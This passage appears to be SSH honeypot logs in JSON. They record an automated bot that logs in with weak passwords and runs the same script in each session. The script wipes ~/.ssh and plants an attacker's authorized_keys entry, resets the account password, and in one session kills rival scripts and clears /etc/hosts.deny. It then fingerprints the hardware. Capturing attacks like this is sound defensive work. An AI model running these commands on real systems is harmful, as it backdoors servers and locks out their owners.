0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:35:14.104238+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:35:14.530763+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:35:14.852258+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:35:15.347031+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:35:15.661260+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:35:16.318330+00:00","kind":"output","latency_ms":null,"data":"Test"},{"seq":31,"at":"2026-08-27T04:35:16.636740+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:35:18.216213+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:35:18.530276+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:35:19.447074+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"Test","password":"Test","method":"password","accepted":true,"tier":"other"}]} {"id":"797f7ea9-5551-4773-934f-068e502d14c2","name":"frugal-dusty-cormorant","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":48826,"username":"miner","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:33:19.591657+00:00","ended_at":"2026-08-27T04:33:21.856561+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2131,"events":[{"seq":1,"at":"2026-08-27T04:32:50.814653+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:32:51.141154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:32:56.137111+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:32:57.092152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:32:57.421614+00:00","kind":"input","latency_ms":null,"data":"echo -e \"miner1\\ni1mZp5wAnUv2\\ni1mZp5wAnUv2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:32:57.749101+00:00","kind":"input","latency_ms":null,"data":"echo \"miner1\\ni1mZp5wAnUv2\\ni1mZp5wAnUv2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:32:58.077995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:32:58.571584+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T04:32:58.936836+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:32:59.137744+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T04:32:59.466561+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T04:33:01.421934+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:33:01.750564+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:33:03.235421+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:33:03.568267+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:33:04.967867+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:33:05.295937+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:33:06.494322+00:00","kind":"output","latency_ms":null,"data":" 04:33:06 up 7 days, 1:23, 0 user, load average: 0.11, 0.11, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:33:06.828246+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:33:08.729868+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:33:09.058850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:33:11.242613+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:33:11.568409+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:33:12.741769+00:00","kind":"output","latency_ms":null,"data":"top - 04:33:12 up 7 days, 1:23, 0 user, load average: 0.11, 0.11, 0.07\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:33:13.071936+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:33:14.050606+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:33:14.380471+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:33:15.360825+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:33:15.694941+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:33:17.753612+00:00","kind":"output","latency_ms":null,"data":"miner"},{"seq":31,"at":"2026-08-27T04:33:18.081217+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:33:19.264532+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:33:19.592671+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:33:21.754812+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"miner","password":"miner1","method":"password","accepted":true,"tier":"other"}]} {"id":"9e90a36e-8ad2-413c-9459-9fd848fb95bf","name":"fearless-sleepy-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":53292,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:31:21.052647+00:00","ended_at":"2026-08-27T04:31:23.085115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T04:30:55.866442+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:30:56.189630+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:31:01.331335+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:31:02.810088+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:31:03.129712+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W8K5IoOb1CgB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:31:03.454046+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:31:03.772097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:31:05.132157+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:31:05.302767+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:31:05.451248+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T04:31:06.419290+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T04:31:06.746569+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T04:31:08.816486+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T04:31:09.138460+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T04:31:11.291167+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T04:31:11.607188+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T04:31:13.337999+00:00","kind":"output","latency_ms":null,"data":" 04:31:13 up 7 days, 1:21, 0 user, load average: 0.19, 0.14, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T04:31:13.656904+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T04:31:14.150105+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T04:31:14.471379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T04:31:14.976109+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T04:31:15.294172+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T04:31:16.168191+00:00","kind":"output","latency_ms":null,"data":"top - 04:31:16 up 7 days, 1:21, 0 user, load average: 0.19, 0.14, 0.18\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T04:31:16.488182+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T04:31:17.336190+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T04:31:17.657428+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T04:31:17.970450+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T04:31:18.291955+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T04:31:19.062033+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T04:31:19.380809+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T04:31:20.735619+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T04:31:21.053452+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T04:31:22.988535+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abcd123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"339b0e76-ec1c-4cdd-80ff-9dafa1e94441","name":"plucky-frosty-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":60444,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":312,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:29:19.102327+00:00","ended_at":"2026-08-27T04:29:20.501614+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2114,"events":[{"seq":1,"at":"2026-08-27T04:28:49.356020+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:28:49.672805+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:28:53.879633+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:28:55.027214+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:28:55.338920+00:00","kind":"input","latency_ms":null,"data":"echo -e \"11235813\\nZA5Le1G1HyiE\\nZA5Le1G1HyiE\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:28:55.649763+00:00","kind":"input","latency_ms":null,"data":"echo \"11235813\\nZA5Le1G1HyiE\\nZA5Le1G1HyiE\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:28:55.961530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:28:56.631128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T04:28:56.890296+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:28:57.251280+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T04:28:57.565298+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T04:28:59.292753+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:28:59.607680+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:29:01.495494+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:29:01.809263+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:29:03.492110+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:29:03.804160+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:29:05.271699+00:00","kind":"output","latency_ms":null,"data":" 04:29:05 up 7 days, 1:19, 0 user, load average: 0.27, 0.21, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:29:05.577129+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:29:07.703612+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:29:08.015593+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:29:10.208068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:29:10.520274+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:29:12.066469+00:00","kind":"output","latency_ms":null,"data":"top - 04:29:12 up 7 days, 1:19, 0 user, load average: 0.27, 0.21, 0.19\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:29:12.379183+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:29:13.273719+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:29:13.585181+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:29:14.498604+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:29:14.811500+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:29:16.341645+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T04:29:16.653759+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:29:18.789069+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:29:19.103070+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:29:20.408040+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"11235813","method":"password","accepted":true,"tier":"other"}]} {"id":"90ab820f-1e5d-45ff-9df5-91cbf696428e","name":"russet-painted-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42302,"username":"toor","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":318,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:27:20.981649+00:00","ended_at":"2026-08-27T04:27:22.191785+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2091,"events":[{"seq":1,"at":"2026-08-27T04:26:48.819952+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:26:49.137223+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:26:54.338764+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:26:55.349427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:26:55.667221+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root\\nnXosx1ZDUCSc\\nnXosx1ZDUCSc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:26:55.985746+00:00","kind":"input","latency_ms":null,"data":"echo \"root\\nnXosx1ZDUCSc\\nnXosx1ZDUCSc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:26:56.300027+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:26:57.035269+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T04:26:57.449361+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:26:58.498462+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T04:26:58.819847+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T04:27:00.745859+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:27:01.066091+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:27:02.449495+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:27:02.770335+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:27:03.809523+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:27:04.126439+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:27:05.125380+00:00","kind":"output","latency_ms":null,"data":" 04:27:05 up 7 days, 1:17, 0 user, load average: 0.33, 0.23, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:27:05.444231+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:27:07.519660+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:27:07.836373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:27:09.871622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:27:10.189545+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:27:11.528367+00:00","kind":"output","latency_ms":null,"data":"top - 04:27:11 up 7 days, 1:17, 0 user, load average: 0.33, 0.23, 0.2\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:27:11.846171+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:27:13.919003+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:27:14.241795+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:27:15.858944+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:27:16.175490+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:27:18.371124+00:00","kind":"output","latency_ms":null,"data":"toor"},{"seq":31,"at":"2026-08-27T04:27:18.702787+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:27:20.664750+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:27:20.982804+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:27:22.096883+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"toor","password":"root","method":"password","accepted":true,"tier":"other"}]} {"id":"f481d93a-a18e-4bc4-9505-49c6d36c05ab","name":"leafy-pleasant-macaw","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:25:16.264465+00:00","ended_at":"2026-08-27T04:25:17.694392+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2139,"events":[{"seq":1,"at":"2026-08-27T04:24:58.034949+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:24:58.359307+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo 